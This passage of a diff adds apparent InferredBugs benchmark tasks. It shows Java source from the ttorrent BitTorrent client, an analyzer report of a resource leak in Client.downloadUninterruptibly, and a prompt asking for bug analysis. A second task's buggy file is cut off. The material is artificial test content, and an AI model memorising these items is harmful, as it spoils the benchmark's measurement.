+    List<SharingPeer> bound = new ArrayList<SharingPeer>(peersStorage.getSharingPeers());
+    Collections.sort(bound, this.getPeerRateComparator());
+    Collections.reverse(bound);
+    if (bound.size() == 0) {
+      logger.trace("No connected peers, skipping unchoking.");
+      return;
+    } else {
+      logger.trace("Running unchokePeers() on {} connected peers. Client {}",
+              new Object[]{bound.size(), Thread.currentThread()});
+    }
+
+    int downloaders = 0;
+    Set<SharingPeer> choked = new HashSet<SharingPeer>();
+
+    // We're interested in the top downloaders first, so use a descending
+    // set.
+    for (SharingPeer peer : bound) {
+      if (downloaders < Client.MAX_DOWNLOADERS_UNCHOKE) {
+        // Unchoke up to MAX_DOWNLOADERS_UNCHOKE interested peers
+        if (peer.isInterested()) {
+          downloaders++;
+          peer.unchoke();
+        }
+        continue;
+      }
+      // Choke everybody else
+      choked.add(peer);
+    }
+
+    // Actually choke all chosen peers (if any), except the eventual
+    // optimistic unchoke.
+    if (choked.size() > 0) {
+      SharingPeer randomPeer = choked.toArray(
+              new SharingPeer[0])[this.random.nextInt(choked.size())];
+
+      for (SharingPeer peer : choked) {
+        if (optimistic && peer == randomPeer) {
+          logger.debug("Optimistic unchoke of {}.", peer);
+          continue;
+        }
+
+        peer.choke();
+      }
+    }
+  }
+
+  private Collection<SharingPeer> getConnectedPeers() {
+    Set<SharingPeer> result = new HashSet<SharingPeer>();
+    Set<SharingPeer> toRemove = new HashSet<SharingPeer>();
+    for (SharingPeer peer : this.peersStorage.getSharingPeers()) {
+      if (peer.isConnected()) {
+        result.add(peer);
+      } else {
+        toRemove.add(peer);
+      }
+    }
+    for (SharingPeer peer : toRemove) {
+      this.peersStorage.removeSharingPeer(peer);
+    }
+    return result;
+  }
+
+  public boolean containsTorrentWithHash(String hash) {
+    return torrentsStorage.hasTorrent(hash);
+  }
+
+  @Override
+  public PeersStorage getPeersStorage() {
+    return peersStorage;
+  }
+
+  @Override
+  public TorrentsStorage getTorrentsStorage() {
+    return torrentsStorage;
+  }
+
+  @Override
+  public ExecutorService getExecutor() {
+    return myExecutorService;
+  }
+
+  @Override
+  public ConnectionListener newChannelListener() {
+    return new StateChannelListener(this);
+  }
+
+  @Override
+  public SharingPeer createSharingPeer(String host, int port, ByteBuffer peerId, SharedTorrent torrent, ByteChannel channel) {
+    return new SharingPeer(host, port, peerId, torrent, getConnectionManager(), this, channel);
+  }
+
+  @Override
+  public TorrentLoader getTorrentLoader() {
+    return myTorrentLoader;
+  }
+
+
+  /** AnnounceResponseListener handler(s). **********************************/
+
+  /**
+   * Handle an announce response event.
+   *
+   * @param interval   The announce interval requested by the tracker.
+   * @param complete   The number of seeders on this torrent.
+   * @param incomplete The number of leechers on this torrent.
+   */
+  @Override
+  public void handleAnnounceResponse(int interval, int complete, int incomplete, String hexInfoHash) {
+    final SharedTorrent sharedTorrent = this.torrentsStorage.getTorrent(hexInfoHash);
+    if (sharedTorrent != null) {
+      sharedTorrent.setSeedersCount(complete);
+      sharedTorrent.setLastAnnounceTime(System.currentTimeMillis());
+    }
+    setAnnounceInterval(interval);
+  }
+
+  /**
+   * Handle the discovery of new peers.
+   *
+   * @param peers The list of peers discovered (from the announce response or
+   *              any other means like DHT/PEX, etc.).
+   */
+  @Override
+  public void handleDiscoveredPeers(List<Peer> peers, String hexInfoHash) {
+
+    if (peers.size() == 0) return;
+
+    SharedTorrent torrent = torrentsStorage.getTorrent(hexInfoHash);
+
+    if (torrent != null && torrent.isFinished()) return;
+
+    final AnnounceableFileTorrent announceableTorrent = torrentsStorage.getAnnounceableTorrent(hexInfoHash);
+    if (announceableTorrent == null) {
+      logger.info("announceable torrent {} is not found in storage. Maybe it was removed", hexInfoHash);
+      return;
+    }
+
+    if (announceableTorrent.isSeeded()) return;
+
+    logger.debug("Got {} peer(s) ({}) for {} in tracker response", new Object[]{peers.size(),
+            Arrays.toString(peers.toArray()), hexInfoHash});
+
+    Map<PeerUID, Peer> uniquePeers = new HashMap<PeerUID, Peer>();
+    for (Peer peer : peers) {
+      final PeerUID peerUID = new PeerUID(peer.getAddress(), hexInfoHash);
+      if (uniquePeers.containsKey(peerUID)) continue;
+      uniquePeers.put(peerUID, peer);
+    }
+
+    for (Map.Entry<PeerUID, Peer> e : uniquePeers.entrySet()) {
+
+      PeerUID peerUID = e.getKey();
+      Peer peer = e.getValue();
+      boolean alreadyConnectedToThisPeer = peersStorage.getSharingPeer(peerUID) != null;
+
+      if (alreadyConnectedToThisPeer) {
+        logger.debug("skipping peer {}, because we already connected to this peer", peer);
+        continue;
+      }
+
+      ConnectionListener connectionListener = new OutgoingConnectionListener(
+              this,
+              announceableTorrent,
+              peer.getIp(),
+              peer.getPort());
+
+      logger.debug("trying to connect to the peer {}", peer);
+
+      boolean connectTaskAdded = this.myConnectionManager.offerConnect(
+              new ConnectTask(peer.getIp(),
+                      peer.getPort(),
+                      connectionListener,
+                      new SystemTimeService().now(),
+                      Constants.DEFAULT_CONNECTION_TIMEOUT_MILLIS), 1, TimeUnit.SECONDS);
+      if (!connectTaskAdded) {
+        logger.info("can not connect to peer {}. Unable to add connect task to connection manager", peer);
+      }
+    }
+  }
+
+  /**
+   * PeerActivityListener handler(s). *************************************
+   */
+
+  @Override
+  public void handlePeerChoked(SharingPeer peer) { /* Do nothing */ }
+
+  @Override
+  public void handlePeerReady(SharingPeer peer) { /* Do nothing */ }
+
+  @Override
+  public void handlePieceAvailability(SharingPeer peer,
+                                      Piece piece) { /* Do nothing */ }
+
+  @Override
+  public void handleBitfieldAvailability(SharingPeer peer,
+                                         BitSet availablePieces) { /* Do nothing */ }
+
+  @Override
+  public void handlePieceSent(SharingPeer peer,
+                              Piece piece) { /* Do nothing */ }
+
+  /**
+   * Piece download completion handler.
+   * <p/>
+   * <p>
+   * When a piece is completed, and valid, we announce to all connected peers
+   * that we now have this piece.
+   * </p>
+   * <p/>
+   * <p>
+   * We use this handler to identify when all of the pieces have been
+   * downloaded. When that's the case, we can start the seeding period, if
+   * any.
+   * </p>
+   *
+   * @param peer  The peer we got the piece from.
+   * @param piece The piece in question.
+   */
+  @Override
+  public void handlePieceCompleted(final SharingPeer peer, final Piece piece)
+          throws IOException {
+    final SharedTorrent torrent = peer.getTorrent();
+    final String torrentHash = torrent.getHexInfoHash();
+    torrent.markCompleted(piece);
+    myPieceValidatorExecutor.submit(new Runnable() {
+      @Override
+      public void run() {
+        try {
+          synchronized (piece) {
+            piece.validate(torrent, piece);
+            if (piece.isValid()) {
+              // Send a HAVE message to all connected peers
+              PeerMessage have = PeerMessage.HaveMessage.craft(piece.getIndex());
+              for (SharingPeer remote : getConnectedPeers()) {
+                if (remote.getTorrent().getHexInfoHash().equals(torrentHash))
+                  remote.send(have);
+              }
+
+              synchronized (torrent) {
+                  // Make sure the piece is marked as completed in the torrent
+                  // Note: this is required because the order the
+                  // PeerActivityListeners are called is not defined, and we
+                  // might be called before the torrent's piece completion
+                  // handler is.
+                  logger.debug("Completed download of {} from {}, now has {}/{} pieces.",
+                          new Object[]{
+                                  piece,
+                                  peer,
+                                  torrent.getCompletedPieces().cardinality(),
+                                  torrent.getPieceCount()
+                          });
+
+                  BitSet completed = new BitSet();
+                  completed.or(torrent.getCompletedPieces());
+                  completed.and(peer.getAvailablePieces());
+                  if (completed.equals(peer.getAvailablePieces())) {
+                    // send not interested when have no interested pieces;
+                    peer.send(PeerMessage.NotInterestedMessage.craft());
+                  }
+
+                }
+
+                if (torrent.isComplete()) {
+                  //close connection with all peers for this torrent
+                  logger.debug("Download of {} complete.", torrent.getDirectoryName());
+
+                  torrent.finish();
+
+                  AnnounceableTorrent announceableTorrent = torrentsStorage.getAnnounceableTorrent(torrentHash);
+
+                  if (announceableTorrent == null) return;
+
+                  try {
+                    announce.getCurrentTrackerClient(announceableTorrent)
+                            .announceAllInterfaces(COMPLETED, true, announceableTorrent);
+                  } catch (AnnounceException e) {
+                    logger.debug("unable to announce torrent {} on tracker {}", torrent, torrent.getAnnounce());
+                  }
+
+                }
+            } else {
+              torrent.markUncompleted(piece);
+              logger.info("Downloaded piece #{} from {} was not valid ;-(. Trying another peer", piece.getIndex(), peer);
+              peer.getPoorlyAvailablePieces().set(piece.getIndex());
+            }
+          }
+        } catch (Throwable e) {
+          LoggerUtils.warnWithMessageAndDebugDetails(logger, "unhandled exception in piece {} validation task", piece, e);
+        }
+      }
+    });
+  }
+
+  @Override
+  public void handlePeerDisconnected(SharingPeer peer) {
+    Peer p = new Peer(peer.getIp(), peer.getPort());
+    p.setPeerId(peer.getPeerId());
+    p.setTorrentHash(peer.getHexInfoHash());
+    logger.debug("Peer {} disconnected, [{}/{}].",
+            new Object[]{
+                    peer,
+                    getConnectedPeers().size(),
+                    this.peersStorage.getSharingPeers().size()
+            });
+  }
+
+  @Override
+  public void afterPeerRemoved(SharingPeer peer) {
+    logger.trace("disconnected peer " + peer);
+    torrentsStorage.peerDisconnected(peer.getHexInfoHash());
+  }
+
+  @Override
+  public void handleIOException(SharingPeer peer, IOException ioe) {
+    logger.debug("I/O problem occured when reading or writing piece data for peer {}: {}.", peer, ioe.getMessage());
+
+    peer.unbind(true);
+  }
+
+  @Override
+  public void handleNewPeerConnected(SharingPeer peer) {
+    //do nothing
+  }
+
+  @Override
+  public void torrentStateChanged(ClientState newState, SharedTorrent torrent) {
+    if (newState.equals(ClientState.ERROR)) {
+      removeTorrent(torrent);
+    }
+  }
+
+  public ConnectionManager getConnectionManager() throws IllegalStateException {
+    ConnectionManager connectionManager = this.myConnectionManager;
+    if (connectionManager == null) {
+      throw new IllegalStateException("connection manager is null");
+    }
+    return connectionManager;
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.turn.ttorrent.client.storage.FileCollectionStorage` acquired by call to `fromFile(...)` at line 442 is not released after line 490.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void Client.downloadUninterruptibly(String,String,long,int,AtomicBoolean,long,DownloadProgressListener)
+
+### Procedure Id:
+com.turn.ttorrent.client.Client.downloadUninterruptibly(java.lang.String,java.lang.String,long,int,j.0127fba00622d53460fb7eb54d4c2211
+
+### File:
+ttorrent-client/src/main/java/com/turn/ttorrent/client/Client.java
+
+### Key:
+Client.java|downloadUninterruptibly|RESOURCE_LEAK
+
+### Node Key:
+0ccc5e7f58461fbcd3e3f6d92d848315
+
+### Hash:
+fa4ec8a8ae7f10d96e18d44000aa5136
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10046/instruction.md b/inferredbugs-10046/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..07a7ca50b3389a1e29ed23c9d90b90651e1fe858
--- /dev/null
+++ b/inferredbugs-10046/instruction.md
@@ -0,0 +1,1054 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ttorrent
+**Bug ID:** 55
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (C) 2011-2012 Turn, Inc.
+ * <p>
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * <p>
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * <p>
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.turn.ttorrent.client;
+
+import com.turn.ttorrent.Constants;
+import com.turn.ttorrent.client.announce.Announce;
+import com.turn.ttorrent.client.announce.AnnounceException;
+import com.turn.ttorrent.client.announce.AnnounceResponseListener;
+import com.turn.ttorrent.client.network.CountLimitConnectionAllower;
+import com.turn.ttorrent.client.network.OutgoingConnectionListener;
+import com.turn.ttorrent.client.network.StateChannelListener;
+import com.turn.ttorrent.client.peer.PeerActivityListener;
+import com.turn.ttorrent.client.peer.SharingPeer;
+import com.turn.ttorrent.common.*;
+import com.turn.ttorrent.common.protocol.AnnounceRequestMessage;
+import com.turn.ttorrent.common.protocol.PeerMessage;
+import com.turn.ttorrent.network.ConnectTask;
+import com.turn.ttorrent.network.ConnectionListener;
+import com.turn.ttorrent.network.ConnectionManager;
+import com.turn.ttorrent.network.ConnectionManagerContext;
+import org.slf4j.Logger;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.URI;
+import java.nio.ByteBuffer;
+import java.nio.channels.ByteChannel;
+import java.security.NoSuchAlgorithmException;
+import java.util.*;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Future;
+import java.util.concurrent.RejectedExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static com.turn.ttorrent.Constants.DEFAULT_SOCKET_CONNECTION_TIMEOUT_MILLIS;
+import static com.turn.ttorrent.common.protocol.AnnounceRequestMessage.RequestEvent.*;
+
+/**
+ * A pure-java BitTorrent client.
+ * <p/>
+ * <p>
+ * A BitTorrent client in its bare essence shares a given torrent. If the
+ * torrent is not complete locally, it will continue to download it. If or
+ * after the torrent is complete, the client may eventually continue to seed it
+ * for other clients.
+ * </p>
+ * <p/>
+ * <p>
+ * This BitTorrent client implementation is made to be simple to embed and
+ * simple to use. First, initialize a ShareTorrent object from a torrent
+ * meta-info source (either a file or a byte array, see
+ * com.turn.ttorrent.SharedTorrent for how to create a SharedTorrent object).
+ * </p>
+ *
+ * @author mpetazzoni
+ */
+public class Client implements AnnounceResponseListener, PeerActivityListener, TorrentStateListener, Context, ConnectionManagerContext {
+
+  protected static final Logger logger = TorrentLoggerFactory.getLogger();
+
+  /**
+   * Peers unchoking frequency, in seconds. Current BitTorrent specification
+   * recommends 10 seconds to avoid choking fibrilation.
+   */
+  private static final int UNCHOKING_FREQUENCY = 3;
+
+  /**
+   * Optimistic unchokes are done every 2 loop iterations, i.e. every
+   * 2*UNCHOKING_FREQUENCY seconds.
+   */
+  private static final int OPTIMISTIC_UNCHOKE_ITERATIONS = 3;
+
+  private static final int RATE_COMPUTATION_ITERATIONS = 2;
+  private static final int MAX_DOWNLOADERS_UNCHOKE = 10;
+
+  /**
+   * Default data output directory.
+   */
+  private static final String DEFAULT_OUTPUT_DIRECTORY = "/tmp";
+
+  public static final String BITTORRENT_ID_PREFIX = "-TO0042-";
+
+  private AtomicBoolean stop = new AtomicBoolean(false);
+
+  private Announce announce;
+
+  private Random random;
+  private volatile boolean myStarted = false;
+  private final TorrentLoader myTorrentLoader;
+  private final TorrentsStorage torrentsStorage;
+  private final CountLimitConnectionAllower myInConnectionAllower;
+  private final CountLimitConnectionAllower myOutConnectionAllower;
+  private final AtomicInteger mySendBufferSize;
+  private final AtomicInteger myReceiveBufferSize;
+  private final PeersStorage peersStorage;
+  private volatile ConnectionManager myConnectionManager;
+  private final ExecutorService myExecutorService;
+  private final ExecutorService myPieceValidatorExecutor;
+
+  /**
+   * @param workingExecutor executor service for run connection worker and process incoming data. Must have a pool size at least 2
+   * @param pieceValidatorExecutor executor service for calculation sha1 hashes of downloaded pieces
+   */
+  public Client(ExecutorService workingExecutor, ExecutorService pieceValidatorExecutor) {
+    this.random = new Random(System.currentTimeMillis());
+    this.announce = new Announce(this);
+    this.torrentsStorage = new TorrentsStorage();
+    this.peersStorage = new PeersStorage();
+    this.mySendBufferSize = new AtomicInteger();
+    this.myTorrentLoader = new TorrentLoaderImpl(this.torrentsStorage);
+    this.myReceiveBufferSize = new AtomicInteger();
+    this.myInConnectionAllower = new CountLimitConnectionAllower(peersStorage);
+    this.myOutConnectionAllower = new CountLimitConnectionAllower(peersStorage);
+    this.myExecutorService = workingExecutor;
+    myPieceValidatorExecutor = pieceValidatorExecutor;
+  }
+
+  public String addTorrent(String dotTorrentFilePath, String downloadDirPath) throws IOException, InterruptedException, NoSuchAlgorithmException {
+    return addTorrent(dotTorrentFilePath, downloadDirPath, false, false);
+  }
+
+  public String seedTorrent(String dotTorrentFilePath, String downloadDirPath) throws IOException, NoSuchAlgorithmException, InterruptedException {
+    return addTorrent(dotTorrentFilePath, downloadDirPath, true, false);
+  }
+
+  public String addTorrent(String dotTorrentFilePath, String downloadDirPath, boolean seeder, boolean leecher) throws IOException, InterruptedException, NoSuchAlgorithmException {
+    Torrent torrent = Torrent.load(new File(dotTorrentFilePath));
+    final AnnounceableTorrentImpl announceableTorrent = new AnnounceableTorrentImpl(
+            new TorrentStatistic(),
+            torrent.getHexInfoHash(),
+            torrent.getInfoHash(),
+            torrent.getAnnounceList(),
+            torrent.getAnnounce(),
+            downloadDirPath,
+            dotTorrentFilePath,
+            seeder,
+            leecher);
+    this.torrentsStorage.addAnnounceableTorrent(torrent.getHexInfoHash(), announceableTorrent);
+
+    if (seeder) {
+      announceableTorrent.getTorrentStatistic().setLeft(0);
+    } else {
+      announceableTorrent.getTorrentStatistic().setLeft(torrent.getSize());
+    }
+
+    forceAnnounceAndLogError(announceableTorrent, seeder ? COMPLETED : STARTED, announceableTorrent.getDotTorrentFilePath());
+    logger.debug(String.format("Added torrent %s (%s)", torrent.getName(), torrent.getHexInfoHash()));
+    return torrent.getHexInfoHash();
+  }
+
+  private void forceAnnounceAndLogError(AnnounceableTorrent torrent, AnnounceRequestMessage.RequestEvent event,
+                                        String dotTorrentFilePath) {
+    try {
+      this.announce.forceAnnounce(torrent, this, event);
+    } catch (IOException e) {
+      logger.warn("unable to force announce torrent {}. Dot torrent path is {}", torrent.getHexInfoHash(), dotTorrentFilePath);
+      logger.debug("", e);
+    }
+  }
+
+  public void removeTorrent(TorrentHash torrentHash) {
+    logger.debug("Stopping seeding " + torrentHash.getHexInfoHash());
+    final Pair<SharedTorrent, AnnounceableFileTorrent> torrents = torrentsStorage.remove(torrentHash.getHexInfoHash());
+
+    SharedTorrent torrent = torrents.first();
+    if (torrent != null) {
+      torrent.setClientState(ClientState.DONE);
+      torrent.close();
+    } else {
+      logger.warn(String.format("Torrent %s already removed from myTorrents", torrentHash.getHexInfoHash()));
+    }
+    sendStopEvent(torrents.second(), torrentHash.getHexInfoHash());
+  }
+
+  public void removeAndDeleteTorrent(String torrentHash, SharedTorrent torrent) {
+    final Pair<SharedTorrent, AnnounceableFileTorrent> torrents = torrentsStorage.remove(torrentHash);
+    final SharedTorrent sharedTorrent = torrents.first() == null ? torrent : torrents.first();
+    if (sharedTorrent != null) {
+      sharedTorrent.setClientState(ClientState.DONE);
+      sharedTorrent.delete();
+    }
+    sendStopEvent(torrents.second(), torrentHash);
+  }
+
+  private void sendStopEvent(AnnounceableFileTorrent announceableFileTorrent, String torrentHash) {
+    if (announceableFileTorrent == null) {
+      logger.info("Announceable torrent {} not found in storage after unsuccessful download attempt", torrentHash);
+      return;
+    }
+    forceAnnounceAndLogError(announceableFileTorrent, STOPPED, announceableFileTorrent.getDotTorrentFilePath());
+  }
+
+  public void setAnnounceInterval(final int announceInterval) {
+    announce.setAnnounceInterval(announceInterval);
+  }
+
+  /**
+   * Return the torrent this client is exchanging on.
+   */
+  public Collection<SharedTorrent> getTorrents() {
+    return this.torrentsStorage.activeTorrents();
+  }
+
+  public SharedTorrent getTorrentByFilePath(File file) {
+    String path = file.getAbsolutePath();
+    for (SharedTorrent torrent : torrentsStorage.activeTorrents()) {
+      File parentFile = torrent.getParentFile();
+      final List<String> filenames = TorrentUtils.getTorrentFileNames(torrent);
+      for (String filename : filenames) {
+        File seededFile = new File(parentFile, filename);
+        if (seededFile.getAbsolutePath().equals(path)) {
+          return torrent;
+        }
+      }
+    }
+    return null;
+  }
+
+  public URI getDefaultTrackerURI() {
+    return announce.getDefaultTrackerURI();
+  }
+
+  /**
+   * Returns the set of known peers.
+   */
+  public Set<SharingPeer> getPeers() {
+    return new HashSet<SharingPeer>(this.peersStorage.getSharingPeers());
+  }
+
+  public void setMaxInConnectionsCount(int maxConnectionsCount) {
+    this.myInConnectionAllower.setMyMaxConnectionCount(maxConnectionsCount);
+  }
+
+  /**
+   * set ups new receive buffer size, that will be applied to all new connections.
+   * If value is equal or less, than zero, then method doesn't have effect
+   *
+   * @param newSize new size
+   */
+  public void setReceiveBufferSize(int newSize) {
+    myReceiveBufferSize.set(newSize);
+  }
+
+  /**
+   * set ups new send buffer size, that will be applied to all new connections.
+   * If value is equal or less, than zero, then method doesn't have effect
+   *
+   * @param newSize new size
+   */
+  public void setSendBufferSize(int newSize) {
+    mySendBufferSize.set(newSize);
+  }
+
+  public void setMaxOutConnectionsCount(int maxConnectionsCount) {
+    this.myOutConnectionAllower.setMyMaxConnectionCount(maxConnectionsCount);
+  }
+
+  public void start(final InetAddress... bindAddresses) throws IOException {
+    start(bindAddresses, Constants.DEFAULT_ANNOUNCE_INTERVAL_SEC, null);
+  }
+
+  public void start(final InetAddress[] bindAddresses, final URI defaultTrackerURI) throws IOException {
+    start(bindAddresses, Constants.DEFAULT_ANNOUNCE_INTERVAL_SEC, defaultTrackerURI);
+  }
+
+  public Peer[] getSelfPeers(final InetAddress[] bindAddresses) throws UnsupportedEncodingException {
+    Peer self = peersStorage.getSelf();
+
+    if (self == null) {
+      return new Peer[0];
+    }
+
+    Peer[] result = new Peer[bindAddresses.length];
+    for (int i = 0; i < bindAddresses.length; i++) {
+      final InetAddress bindAddress = bindAddresses[i];
+      final Peer peer = new Peer(new InetSocketAddress(bindAddress.getHostAddress(), self.getPort()));
+      peer.setTorrentHash(self.getHexInfoHash());
+      //if we have more, that one bind address, then only for first set self peer id. For other generate it
+      if (i == 0) {
+        peer.setPeerId(self.getPeerId());
+      } else {
+        final String id = Client.BITTORRENT_ID_PREFIX + UUID.randomUUID().toString().split("-")[4];
+        byte[] idBytes = id.getBytes(Torrent.BYTE_ENCODING);
+        peer.setPeerId(ByteBuffer.wrap(idBytes));
+      }
+      result[i] = peer;
+    }
+    return result;
+  }
+
+  public void start(final InetAddress[] bindAddresses, final int announceIntervalSec, final URI defaultTrackerURI) throws IOException {
+    this.myConnectionManager = new ConnectionManager(
+            this,
+            new SystemTimeService(),
+            myInConnectionAllower,
+            myOutConnectionAllower,
+            mySendBufferSize,
+            myReceiveBufferSize);
+    this.setSocketConnectionTimeout(DEFAULT_SOCKET_CONNECTION_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+    try {
+      this.myConnectionManager.initAndRunWorker();
+    } catch (IOException e) {
+      LoggerUtils.errorAndDebugDetails(logger, "error in initialization server channel", e);
+      this.stop();
+      return;
+    }
+    final String id = Client.BITTORRENT_ID_PREFIX + UUID.randomUUID().toString().split("-")[4];
+    byte[] idBytes = id.getBytes(Torrent.BYTE_ENCODING);
+    Peer self = new Peer(new InetSocketAddress(myConnectionManager.getBindPort()), ByteBuffer.wrap(idBytes));
+    peersStorage.setSelf(self);
+    logger.info("BitTorrent client [{}] started and " +
+                    "listening at {}:{}...",
+            new Object[]{
+                    self.getShortHexPeerId(),
+                    self.getIp(),
+                    self.getPort()
+            });
+
+    announce.start(defaultTrackerURI, this, getSelfPeers(bindAddresses), announceIntervalSec);
+    this.stop.set(false);
+
+    myStarted = true;
+  }
+
+  /**
+   * Immediately but gracefully stop this client.
+   */
+  public void stop() {
+    this.stop(60, TimeUnit.SECONDS);
+  }
+
+  public void stop(int timeout, TimeUnit timeUnit) {
+    boolean wasStopped = this.stop.getAndSet(true);
+    if (wasStopped) return;
+
+    if (!myStarted)
+      return;
+
+    this.myConnectionManager.close();
+
+    logger.trace("try stop announce thread...");
+
+    this.announce.stop();
+
+    logger.trace("announce thread is stopped");
+
+    for (SharedTorrent torrent : this.torrentsStorage.activeTorrents()) {
+      logger.trace("try close torrent {}", torrent);
+      torrent.close();
+      if (torrent.isFinished()) {
+        torrent.setClientState(ClientState.DONE);
+      } else {
+        torrent.setClientState(ClientState.ERROR);
+      }
+    }
+
+    logger.debug("Closing all remaining peer connections...");
+    for (SharingPeer peer : this.peersStorage.getSharingPeers()) {
+      peer.unbind(true);
+    }
+
+    torrentsStorage.clear();
+    logger.info("BitTorrent client signing off.");
+  }
+
+  public void setCleanupTimeout(int timeout, TimeUnit timeUnit) throws IllegalStateException {
+    ConnectionManager connectionManager = this.myConnectionManager;
+    if (connectionManager == null) {
+      throw new IllegalStateException("connection manager is null");
+    }
+    connectionManager.setCleanupTimeout(timeUnit.toMillis(timeout));
+  }
+
+  public void setSocketConnectionTimeout(int timeout, TimeUnit timeUnit) throws IllegalStateException {
+    ConnectionManager connectionManager = this.myConnectionManager;
+    if (connectionManager == null) {
+      throw new IllegalStateException("connection manager is null");
+    }
+    connectionManager.setSocketConnectionTimeout(timeUnit.toMillis(timeout));
+  }
+
+  /**
+   * Tells whether we are a seed for the torrent we're sharing.
+   */
+  public boolean isSeed(String hexInfoHash) {
+    SharedTorrent t = this.torrentsStorage.getTorrent(hexInfoHash);
+    return t != null && t.isComplete();
+  }
+
+  public void downloadUninterruptibly(final String dotTorrentPath,
+                                      final String downloadDirPath,
+                                      final long downloadTimeoutSeconds) throws IOException, InterruptedException, NoSuchAlgorithmException {
+    downloadUninterruptibly(dotTorrentPath, downloadDirPath, downloadTimeoutSeconds, 1, new AtomicBoolean(false), 5000);
+  }
+
+  public void downloadUninterruptibly(final String dotTorrentPath,
+                                      final String downloadDirPath,
+                                      final long idleTimeoutSec,
+                                      final int minSeedersCount,
+                                      final AtomicBoolean isInterrupted,
+                                      final long maxTimeForConnectMs) throws IOException, InterruptedException, NoSuchAlgorithmException {
+    downloadUninterruptibly(dotTorrentPath, downloadDirPath, idleTimeoutSec, minSeedersCount, isInterrupted,
+            maxTimeForConnectMs, new DownloadProgressListener.NopeListener());
+  }
+
+  public void downloadUninterruptibly(final String dotTorrentPath,
+                                      final String downloadDirPath,
+                                      final long idleTimeoutSec,
+                                      final int minSeedersCount,
+                                      final AtomicBoolean isInterrupted,
+                                      final long maxTimeForConnectMs,
+                                      DownloadProgressListener listener) throws IOException, InterruptedException, NoSuchAlgorithmException {
+    String hash = addTorrent(dotTorrentPath, downloadDirPath, false, true);
+
+    final AnnounceableFileTorrent announceableTorrent = torrentsStorage.getAnnounceableTorrent(hash);
+    if (announceableTorrent == null) throw new IOException("Unable to download torrent completely - announceable torrent is not found");
+    SharedTorrent torrent = new TorrentLoaderImpl(torrentsStorage).loadTorrent(announceableTorrent);
+
+    long maxIdleTime = System.currentTimeMillis() + idleTimeoutSec * 1000;
+      torrent.addDownloadProgressListener(listener);
+      final long startDownloadAt = System.currentTimeMillis();
+      long currentLeft = torrent.getLeft();
+
+      while (torrent.getClientState() != ClientState.SEEDING &&
+              torrent.getClientState() != ClientState.ERROR &&
+              (torrent.getSeedersCount() >= minSeedersCount || torrent.getLastAnnounceTime() < 0) &&
+              (System.currentTimeMillis() <= maxIdleTime)) {
+        if (torrent.isFinished()) break;
+        if (Thread.currentThread().isInterrupted() || isInterrupted.get())
+          throw new InterruptedException("Download of " + torrent.getDirectoryName() + " was interrupted");
+        if (currentLeft > torrent.getLeft()) {
+          currentLeft = torrent.getLeft();
+          maxIdleTime = System.currentTimeMillis() + idleTimeoutSec * 1000;
+        }
+        if (System.currentTimeMillis() - startDownloadAt > maxTimeForConnectMs) {
+          if (getPeersForTorrent(torrent.getHexInfoHash()).size() < minSeedersCount) {
+            break;
+          }
+        }
+        Thread.sleep(100);
+      }
+
+    if (!(torrent.isFinished() && torrent.getClientState() == ClientState.SEEDING)) {
+      removeAndDeleteTorrent(hash, torrent);
+
+      final List<SharingPeer> peersForTorrent = getPeersForTorrent(hash);
+      int connectedPeersForTorrent = peersForTorrent.size();
+      for (SharingPeer peer : peersForTorrent) {
+        peer.unbind(true);
+      }
+
+      final String errorMsg;
+      if (System.currentTimeMillis() > maxIdleTime) {
+        int completedPieces = torrent.getCompletedPieces().cardinality();
+        int totalPieces = torrent.getPieceCount();
+        errorMsg = String.format("No pieces has been downloaded in %d seconds. Downloaded pieces %d/%d, connected peers %d"
+                , idleTimeoutSec, completedPieces, totalPieces, connectedPeersForTorrent);
+      } else if (connectedPeersForTorrent < minSeedersCount) {
+        errorMsg = String.format("Not enough seeders. Required %d, found %d", minSeedersCount, connectedPeersForTorrent);
+      } else if (torrent.getClientState() == ClientState.ERROR) {
+        errorMsg = "Torrent state is ERROR";
+      } else {
+        errorMsg = "Unknown error";
+      }
+      throw new IOException("Unable to download torrent completely - " + errorMsg);
+    }
+  }
+
+  public List<SharingPeer> getPeersForTorrent(String torrentHash) {
+    if (torrentHash == null) return new ArrayList<SharingPeer>();
+
+    List<SharingPeer> result = new ArrayList<SharingPeer>();
+    for (SharingPeer sharingPeer : peersStorage.getSharingPeers()) {
+      if (torrentHash.equals(sharingPeer.getHexInfoHash())) {
+        result.add(sharingPeer);
+      }
+    }
+    return result;
+  }
+
+  public boolean isRunning() {
+    return myStarted;
+  }
+
+  /**
+   * Display information about the BitTorrent client state.
+   * <p/>
+   * <p>
+   * This emits an information line in the log about this client's state. It
+   * includes the number of choked peers, number of connected peers, number
